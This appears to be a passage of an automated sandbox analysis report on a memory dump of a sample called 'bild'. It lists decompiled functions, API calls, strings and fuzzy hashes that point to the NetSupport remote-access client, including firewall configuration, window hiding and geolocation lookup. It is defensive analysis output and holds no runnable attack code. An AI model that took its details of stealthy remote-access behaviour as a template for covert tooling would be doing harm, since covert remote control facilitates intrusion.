Part of subcall function 1109E9E0: GetCurrentProcess.KERNEL32(00020008,00000000,?,?,110F7D14,00000001,111417B8,_debug,TraceCopyData,00000000,00000000,?,?,00000000,00000000), ref: 1109EA01
Part of subcall function 1109E9E0: OpenProcessToken.ADVAPI32(00000000,?,?,110F7D14,00000001,111417B8,_debug,TraceCopyData,00000000,00000000,?,?,00000000,00000000), ref: 1109EA08
Part of subcall function 1109E9E0: CloseHandle.KERNEL32(00000000,00000000,?,?,00000000,00000000), ref: 1109EA27

CloseHandle.KERNEL32(00000000,Function_00102C50,00000001,00000000), ref: 11108FAA
CloseHandle.KERNEL32(00000000,Function_00102C50,00000001,00000000), ref: 11108FFF

Strings

nsm_gina_sas, xrefs: 11108DF4
GrabKM, xrefs: 11108E88
LoggedOn, xrefs: 11108EA0
\pcigina, xrefs: 11108E40
LPT1, xrefs: 11108DE9

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CloseHandle$Library$LoadObject$AddressCreateCriticalEventInitializeOpenProcProcessSection$CurrentDirectoryFreeSingleStockSystemThreadTokenWait_malloc_memsetwsprintf
String ID: GrabKM$LPT1$LoggedOn$\pcigina$nsm_gina_sas
API String ID: 3930710499-403456261
Opcode ID: 1bb63630e84e06d7a5d883501c08249baca6a639cf459e52fb6089e18ee58e4a
Instruction ID: 229803012459fbbe5cfd3a30b02a894d1af5bad55287ed163187595495ff030c
Opcode Fuzzy Hash: 1bb63630e84e06d7a5d883501c08249baca6a639cf459e52fb6089e18ee58e4a
Instruction Fuzzy Hash: DC81AFB4E0435AEFEB55DFB48C89B9AFBE9AB48308F00457DE569D7280E7309944CB11

Function 11138C30 Relevance: 31.8, APIs: 12, Strings: 6, Instructions: 348
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 111450A0: GetVersionExA.KERNEL32(111F0EF0,75BF8400), ref: 111450D0
Part of subcall function 111450A0: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00000001,?), ref: 1114510F
Part of subcall function 111450A0: _memset.LIBCMT ref: 1114512D
Part of subcall function 111450A0: _strncpy.LIBCMT ref: 111451FA

PostMessageA.USER32(0002044E,000006CF,00000007,00000000), ref: 11138E0F

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

SetWindowTextA.USER32(0002044E,00000000), ref: 11138EB7
IsWindowVisible.USER32(0002044E), ref: 11138F7C
GetForegroundWindow.USER32(?,?,?,?,?,?,?,?,00000000), ref: 11138F9C
IsWindowVisible.USER32(0002044E), ref: 11138FAA
SetForegroundWindow.USER32(00000000), ref: 11138FD8
EnableWindow.USER32(0002044E,00000001), ref: 11138FE7
IsWindowVisible.USER32(0002044E), ref: 11139038
IsWindowVisible.USER32(0002044E), ref: 11139045
EnableWindow.USER32(0002044E,00000000), ref: 11139059
EnableWindow.USER32(0002044E,00000000), ref: 11138FBF

Part of subcall function 11131210: ShowWindow.USER32(0002044E,00000000,?,11139062,00000007,?,?,?,?,?,00000000), ref: 11131234

EnableWindow.USER32(0002044E,00000001), ref: 1113906D

Strings

Client, xrefs: 11138CB1, 11138D5B, 11138D94, 11138DF2
ShowUIOnConnect, xrefs: 11138DED
HideWhenIdle, xrefs: 11138CAC
ConnectedText, xrefs: 11138D48, 11138D57
LockedText, xrefs: 11138D8F
ViewedText, xrefs: 11138D3B

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Window$EnableVisible$Foreground$MessageOpenPostShowTextVersion__wcstoi64_memset_strncpy
String ID: Client$ConnectedText$HideWhenIdle$LockedText$ShowUIOnConnect$ViewedText
API String ID: 3453649892-3803836183
Opcode ID: 391fd03a16533da79435ce5bee1303fc2e717428408a6b437c143b59ca9afbf1
Instruction ID: ae8ec3c714d324370739ddb1cab1952d607c59122f5be0bb7ac7fd02d25128b2
Opcode Fuzzy Hash: 391fd03a16533da79435ce5bee1303fc2e717428408a6b437c143b59ca9afbf1
Instruction Fuzzy Hash: 86C12A75A1122A9BEB11DFF4CD80B6EF769ABC072DF140138EA159B28CEB75E804C751

Function 110281A0 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 130librarysynchronizationCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000102,NSM.LIC,00000009), ref: 110281F1

Part of subcall function 11081B40: _strrchr.LIBCMT ref: 11081B4E

wsprintfA.USER32 ref: 11028214
WaitForSingleObject.KERNEL32(?,000000FF), ref: 11028259
GetExitCodeProcess.KERNEL32(?,?), ref: 1102826D
wsprintfA.USER32 ref: 11028291
CloseHandle.KERNEL32(?), ref: 110282A7
CloseHandle.KERNEL32(?), ref: 110282B0
LoadLibraryExA.KERNEL32(?,00000000,00000002,?,?,?,?,?,NSM.LIC,00000009), ref: 11028311
GetModuleHandleA.KERNEL32(00000000,00000000,?,?,?,?,?,NSM.LIC,00000009), ref: 11028325

Strings

SetClientResLang called, gPlatform %x, xrefs: 110281BC
Setting resource langid=%d, xrefs: 110282D1
\GetUserLang.exe", xrefs: 1102820E
Locales\%d\, xrefs: 11028281
", xrefs: 110281EA
pcicl32_res.dll, xrefs: 110282E9
NSM.LIC, xrefs: 110281B9, 110282D0

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Handle$CloseModulewsprintf$CodeExitFileLibraryLoadNameObjectProcessSingleWait_strrchr
String ID: "$Locales\%d\$NSM.LIC$SetClientResLang called, gPlatform %x$Setting resource langid=%d$\GetUserLang.exe"$pcicl32_res.dll
API String ID: 512045693-419896573
Opcode ID: be2a4d539e06a764388bcf1fddbdd407ba59922a3a30c161602edf8e7ebb4000
Instruction ID: 7a246749baaa4a6e23861a3fd22e5cd13303056935123195fcb9bb693944541c
Opcode Fuzzy Hash: be2a4d539e06a764388bcf1fddbdd407ba59922a3a30c161602edf8e7ebb4000
Instruction Fuzzy Hash: B841D678E04229ABD714CF65CCD5FEAB7B9EB44709F0081A5F95897280DA71AE44CBA0

Function 11085E10 Relevance: 26.5, APIs: 8, Strings: 7, Instructions: 218libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(PCIINV.DLL,73B292A0,02A183F8,02A183E8,?,00000000,1118276C,000000FF,?,11031942,02A183F8,00000000,?,?,?), ref: 11085E45

Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

Part of subcall function 1110F520: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,76EEC3F0,?,1111022D,00000000,00000001,?,?,?,?,?,11031040), ref: 1110F53E

GetProcAddress.KERNEL32(00000000,GetInventory), ref: 11085E6B
GetProcAddress.KERNEL32(00000000,Cancel), ref: 11085E7F
GetProcAddress.KERNEL32(00000000,GetInventoryEx), ref: 11085E93
wsprintfA.USER32 ref: 11085F1B
wsprintfA.USER32 ref: 11085F32
wsprintfA.USER32 ref: 11085F49
CloseHandle.KERNEL32(00000000,11085C70,00000001,00000000), ref: 1108609A

Part of subcall function 11085A80: CloseHandle.KERNEL32(?,74DEF550,?,?,110860C0,?,11031942,02A183F8,00000000,?,?,?), ref: 11085A98
Part of subcall function 11085A80: CloseHandle.KERNEL32(?,74DEF550,?,?,110860C0,?,11031942,02A183F8,00000000,?,?,?), ref: 11085AAB
Part of subcall function 11085A80: CloseHandle.KERNEL32(?,74DEF550,?,?,110860C0,?,11031942,02A183F8,00000000,?,?,?), ref: 11085ABE
Part of subcall function 11085A80: FreeLibrary.KERNEL32(00000000,74DEF550,?,?,110860C0,?,11031942,02A183F8,00000000,?,?,?), ref: 11085AD1

Strings

%s_SW.%s, xrefs: 11085F2C
%s_HW.%s, xrefs: 11085F12
%s_HF.%s, xrefs: 11085F43
GetInventory, xrefs: 11085E65
Cancel, xrefs: 11085E79
GetInventoryEx, xrefs: 11085E87
PCIINV.DLL, xrefs: 11085E40

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CloseHandlewsprintf$AddressProc$Library$CreateEventFreeLoad_malloc_memset
String ID: %s_HF.%s$%s_HW.%s$%s_SW.%s$Cancel$GetInventory$GetInventoryEx$PCIINV.DLL
API String ID: 4263811268-2492245516
Opcode ID: f5aef0daa14bc6ea66726438fc532167d4c8a127bd90decb683372eff0d319c6
Instruction ID: c264ff3baa83c9e34b1ea5f373b83d9ca187d225ad452563e08076ac2ec7b834
Opcode Fuzzy Hash: f5aef0daa14bc6ea66726438fc532167d4c8a127bd90decb683372eff0d319c6
Instruction Fuzzy Hash: 40718175E0874AABEB14CF75CC46BDBFBE4AB48304F10452AE956D7280EB71A500CB95

Function 110304B8 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 190synchronizationlibraryloaderCOMMON

Download Yara Rule

APIs

OpenMutexA.KERNEL32(001F0001,00000000,PCIMutex), ref: 110305F3
CreateMutexA.KERNEL32(00000000,00000000,PCIMutex), ref: 1103060A
GetProcAddress.KERNEL32(?,SetProcessDPIAware), ref: 110306AC
SetLastError.KERNEL32(00000078), ref: 110306C2
WaitForSingleObject.KERNEL32(?,000001F4), ref: 110306FC
CloseHandle.KERNEL32(?), ref: 11030709
FreeLibrary.KERNEL32(?), ref: 11030714
CloseHandle.KERNEL32(00000000), ref: 1103071B

Strings

PCIMutex, xrefs: 110305E3, 11030603
_debug\tracefile, xrefs: 11030556
istaUI, xrefs: 1103050D
SetProcessDPIAware, xrefs: 110306A6
/247, xrefs: 11030616
_debug\trace, xrefs: 11030544
SOFTWARE\Policies\NetSupport\Client\standard, xrefs: 1103052A

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CloseHandleMutex$AddressCreateErrorFreeLastLibraryObjectOpenProcSingleWait
String ID: /247$PCIMutex$SOFTWARE\Policies\NetSupport\Client\standard$SetProcessDPIAware$_debug\trace$_debug\tracefile$istaUI
API String ID: 2061479752-1320826866
Opcode ID: 344344da4f24c17c6c11c64113ed1526ed618b4690303f5ba055bceda43c688d
Instruction ID: 4511418fabb8e143c6e2e60e2068ec6a59f08b67eb8208c825473cc9362a61df
Opcode Fuzzy Hash: 344344da4f24c17c6c11c64113ed1526ed618b4690303f5ba055bceda43c688d
Instruction Fuzzy Hash: 72613774E1635AAFEB10DFB09C44B9EB7B4AF8470DF1000A9D919A71C5EF70AA44CB51

Function 1102C410 Relevance: 23.0, APIs: 5, Strings: 8, Instructions: 238synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 1110F340: SetEvent.KERNEL32(00000000,?,1102C44F), ref: 1110F364

WaitForSingleObject.KERNEL32(?,000000FF), ref: 1102C455
GetTickCount.KERNEL32 ref: 1102C47A

Part of subcall function 110D0710: __strdup.LIBCMT ref: 110D072A

GetTickCount.KERNEL32 ref: 1102C574

Part of subcall function 110D1370: wvsprintfA.USER32(?,?,1102C511), ref: 110D139B

Part of subcall function 110D07C0: _free.LIBCMT ref: 110D07ED

WaitForSingleObject.KERNEL32(?,000000FF), ref: 1102C66C
CloseHandle.KERNEL32(?), ref: 1102C688

Strings

?IP=%s, xrefs: 1102C506
_debug, xrefs: 1102C4C8, 1102C52A
LatLong, xrefs: 1102C438, 1102C525
GetLatLong=%s, took %d ms, xrefs: 1102C591
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 1102C6B9, 1102C6CD, 1102C6E1, 1102C6F5
http://geo.netsupportsoftware.com/location/loca.asp, xrefs: 1102C495
GeoIP, xrefs: 1102C4C3
IsA(), xrefs: 1102C6BE, 1102C6D2, 1102C6E6, 1102C6FA

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CountObjectSingleTickWait$CloseEventHandle__strdup_freewvsprintf
String ID: ?IP=%s$GeoIP$GetLatLong=%s, took %d ms$IsA()$LatLong$_debug$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h$http://geo.netsupportsoftware.com/location/loca.asp
API String ID: 596640303-1725438197
Opcode ID: 609e97f705776535a990b82a8e5f18e172a35da44f01400c4fa73658ea828b55
Instruction ID: 59613557395ae23f7967247d4baf4cae7550bfc3229e85cd4bc92fe2e2f2b4a8
Opcode Fuzzy Hash: 609e97f705776535a990b82a8e5f18e172a35da44f01400c4fa73658ea828b55
Instruction Fuzzy Hash: 6B818275E0020AABDF04DBE8CD94FEEF7B5AF59708F504258E82567284DB34BA05CB61

Function 11061700 Relevance: 22.9, APIs: 4, Strings: 9, Instructions: 135registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000002,Software\Policies\NetSupport\Client,00000000,00020019,?,00000000,?,?), ref: 1106175A

Part of subcall function 11061140: RegOpenKeyExA.ADVAPI32(00000003,?,00000000,00020019,?,?), ref: 1106117C
Part of subcall function 11061140: RegEnumValueA.ADVAPI32(?,00000000,?,?,00000000,?,?,?,?,00000000), ref: 110611D4

RegEnumKeyExA.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 110617AB
RegEnumKeyExA.ADVAPI32(?,00000001,?,00000100,00000000,00000000,00000000,00000000), ref: 11061865
RegCloseKey.ADVAPI32(?), ref: 11061881

Strings

Client, xrefs: 11061768, 11061898
Software\Policies\NetSupport\Client, xrefs: 11061754
DisableUserPolicies, xrefs: 11061893
Client.%04d.%s, xrefs: 110617E7
Software\Policies\NetSupport, xrefs: 110617FF
Client, xrefs: 110617FA
Software\Policies\NetSupport\Client\Standard, xrefs: 1106176D
Standard, xrefs: 110617C6
%s\%s\%s\, xrefs: 11061804

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Enum$Open$CloseValue
String ID: %s\%s\%s\$Client$Client$Client.%04d.%s$DisableUserPolicies$Software\Policies\NetSupport$Software\Policies\NetSupport\Client$Software\Policies\NetSupport\Client\Standard$Standard
API String ID: 2823542970-1528906934
Opcode ID: 4cf0c36994a383612a719e249f3f276c0f36ade9332230c7c569e8670290d878
Instruction ID: 3a074a016260bf88f68c0586b8c591cabbb012c9b5ad66670ab8b6bf40d046b4
Opcode Fuzzy Hash: 4cf0c36994a383612a719e249f3f276c0f36ade9332230c7c569e8670290d878
Instruction Fuzzy Hash: 5F416179E4022DABD724CB55CC81FEAB7BCEB94748F1001D9EA48A6140D6B06E84CFA1

Function 11137630 Relevance: 22.9, APIs: 6, Strings: 7, Instructions: 130COMMON

Download Yara Rule

APIs

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

GetTickCount.KERNEL32 ref: 11137692

Part of subcall function 11096970: CoInitialize.OLE32(00000000), ref: 11096984
Part of subcall function 11096970: CLSIDFromProgID.COMBASE(HNetCfg.FwMgr,?,?,?,?,?,?,?,1113769B), ref: 1109699E
Part of subcall function 11096970: CoCreateInstance.OLE32(?,00000000,00000001,111C08AC,?,?,?,?,?,?,?,1113769B), ref: 110969BB
Part of subcall function 11096970: CoUninitialize.COMBASE(?,?,?,?,?,?,1113769B), ref: 110969D9

GetTickCount.KERNEL32 ref: 111376A1
_memset.LIBCMT ref: 111376E3
GetModuleFileNameA.KERNEL32(00000000,?,00000105), ref: 111376F9
_strrchr.LIBCMT ref: 11137708
_free.LIBCMT ref: 1113775A

Strings

*AutoICFConfig, xrefs: 11137667
Client, xrefs: 1113766C
ICFConfig, xrefs: 11137645
IsICFPresent() took %d ms, xrefs: 111376AD
IsICFPresent..., xrefs: 1113767F
ICFConfig2 returned 0x%x, xrefs: 11137760
No ICF present, xrefs: 11137792

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CountTick$CreateFileFromInitializeInstanceModuleNameProgUninitialize__wcstoi64_free_memset_strrchr
String ID: *AutoICFConfig$Client$ICFConfig$ICFConfig2 returned 0x%x$IsICFPresent() took %d ms$IsICFPresent...$No ICF present
API String ID: 711243594-1270230032
Opcode ID: 4f0f92e27c35dbd641ed9010d5cad7dccc431a8d4141c0f1938ec124a93e63f3
Instruction ID: 94b21c48fabd249aebac1ca0d473d12a11480cc4bb4ab1ee9f0f9b3b40903c19
Opcode Fuzzy Hash: 4f0f92e27c35dbd641ed9010d5cad7dccc431a8d4141c0f1938ec124a93e63f3
Instruction Fuzzy Hash: 9941AE7AE0022E97C710DF756C89BEFF7699B5471DF040079E90493140EAB1AD44CBE1

Function 11133E80 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 101windowCOMMON

Download Yara Rule

APIs

Part of subcall function 11145440: _memset.LIBCMT ref: 11145485
Part of subcall function 11145440: GetVersionExA.KERNEL32(?,00000000,00000000), ref: 1114549E
Part of subcall function 11145440: LoadLibraryA.KERNEL32(kernel32.dll), ref: 111454C5
Part of subcall function 11145440: GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 111454D7
Part of subcall function 11145440: FreeLibrary.KERNEL32(00000000), ref: 111454EF
Part of subcall function 11145440: GetSystemDefaultLangID.KERNEL32 ref: 111454FA

AdjustWindowRectEx.USER32(111417B8,00CE0000,00000001,00000001), ref: 11133EC7
LoadMenuA.USER32(00000000,000003EC), ref: 11133ED8
GetSystemMetrics.USER32(00000021), ref: 11133EE9
GetSystemMetrics.USER32(0000000F), ref: 11133EF1
GetSystemMetrics.USER32(00000004), ref: 11133EF7
GetDC.USER32(00000000), ref: 11133F03
GetDeviceCaps.GDI32(00000000,0000005A), ref: 11133F0E
ReleaseDC.USER32(00000000,00000000), ref: 11133F1A
CreateWindowExA.USER32(00000001,NSMWClass,0262CF78,00CE0000,80000000,80000000,111417B8,?,00000000,?,11000000,00000000), ref: 11133F6F
GetLastError.KERNEL32(?,?,?,?,?,110F7D09,00000001,111417B8,_debug), ref: 11133F77

Strings

NSMWClass, xrefs: 11133F69
mainwnd ht1=%d, ht2=%d, yppi=%d, xrefs: 11133F2E
CreateMainWnd, hwnd=%x, e=%d, xrefs: 11133F7F

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
